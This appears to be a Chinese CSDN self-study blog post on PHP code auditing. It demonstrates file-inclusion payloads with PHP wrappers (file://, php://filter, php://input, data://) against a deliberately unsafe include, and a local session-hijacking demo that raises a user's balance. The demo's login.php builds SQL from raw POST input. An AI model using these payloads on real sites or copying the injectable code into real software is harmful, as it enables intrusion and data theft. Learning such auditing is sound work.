网络安全自学篇-PHP代码审计(十)

一个网络安全学习爱好者在学习过程中记录下的笔记,希望在CSDN能和大家一起成长,学习,分享,进步,下面分享的是代码审计中php伪协议以及会话认证漏洞的案例,希望对入门网安的朋友们有所帮助,大神有兴趣看看即可,勿喷感谢,同时也欢迎各位师傅私聊交流学习。文章有所参考,也感谢教授我网安知识的师父们,感谢出生在这个互联网时代,知识触手可及。
往期文章:
网络安全自学篇-PHP代码审计(一)
网络安全自学篇-PHP代码审计(二)
网络安全自学篇-PHP代码审计(三)
网络安全自学篇-PHP代码审计(四)
网络安全自学篇-PHP代码审计(五)
网络安全自学篇-PHP代码审计(六)
网络安全自学篇-PHP代码审计(七)
网络安全自学篇-PHP代码审计(八)
网络安全自学篇-PHP代码审计(九)

PHP伪协议

相关设置:allow_url_fopen:Off/On
allow_url_include:Off/On
常见的几种伪协议
1、file://协议
file协议用于访问系统本地文件
构造如下代码:

include ($_GET['file']);

http://localhost/file.php?file=file://D:\phpStudy\PHPTutorial\WWW\1.txt访问
在这里插入图片描述
2、php://filter
php://filterx协议用于读取源码并以base64输出
http://127.0.0.1/file.php?file=php://filter/read=convert.base64-encode/resource=./1.txt访问
在这里插入图片描述
在这里插入图片描述
3、php://input
php://input协议可以访问原始数据的流
在这里插入图片描述将jadore写入1.txt
在这里插入图片描述
4、data://
data://-数据
在这里插入图片描述

会话认证漏洞

原理:会话中认证得到的标识可以被攻击者任意篡改
挖掘思路:
直接将用户信息保存在cookie中并且没有使用session进行认证
1、session劫持攻击,攻击者劫持用户的sessionID来修改用户的session变量
2、session固定攻击,攻击者固定用户的sessionID来存取用户的session数据
案例:
构造登录表单login.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>用户登录</title>
</head>
<body>
    <form action="login.php" method="post">
        账号:<input type="text" name="username"></br>
        密码:<input type="password" name="password"></br>
        <input type="submit" value="点击登录" name="login">
    </form>
</body>
</html>

login.php

<?php
header("content-type:text/html;charset=utf-8");
session_start();
if(isset($_POST['login'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $conn = mysql_connect("localhost","root","root");
    mysql_select_db("csrf",$conn);
    $sql = "SELECT * FROM user WHERE username='$username' and password='$password';";
    $result = mysql_query($sql) or die("执行SQL语句失败:" . mysql_error());
    if ($row = mysql_fetch_array($result)) {
        $_SESSION['username'] = $row['username'];
        $_SESSION['password'] = $row['password'];
        $_SESSION['money'] = 10;
        header("Location:http://127.0.0.1/user.php?member=".$username);
    }
}else{
    exit('illegal access!');
}

在这里插入图片描述
输出sesseionID的页面user.php:

<?php
header("content-type:text/html;charset=utf-8");
session_start();
echo "当前用户的SESSIONID是:".session_id()."<br>";
echo "当前用户:".$_GET['member']."<br>";
echo "余额:".$_SESSION['money']."<br>";

获得一个sessionID
在这里插入图片描述
攻击代码attack.php:

header("content-type:text/html;charset=utf-8");
session_start();
echo "劫持到的SESSIONID是:".session_id()."<br>";
echo "当前用户:".$_SESSION['username']."<br>";
echo "余额:".$_SESSION['money']=1000 ."<br>";

拷贝sessionID,构造如下:

http://127.0.0.1/attack.php?PHPSESSIONID=38rm8vs66v0j84vphnc5lnkc55

余额变为1000
在这里插入图片描述
此时再回到用户的页面user.php刷新,发现余额也被更改
在这里插入图片描述
流程图:
在这里插入图片描述
防御:
1、使用随机长度够大够复杂的sessionid
2、封装sessionid
3、更改sessionid的名称
4、及时销毁session(session_destroy)

猜你喜欢

转载自blog.csdn.net/weixin_44047795/article/details/106662258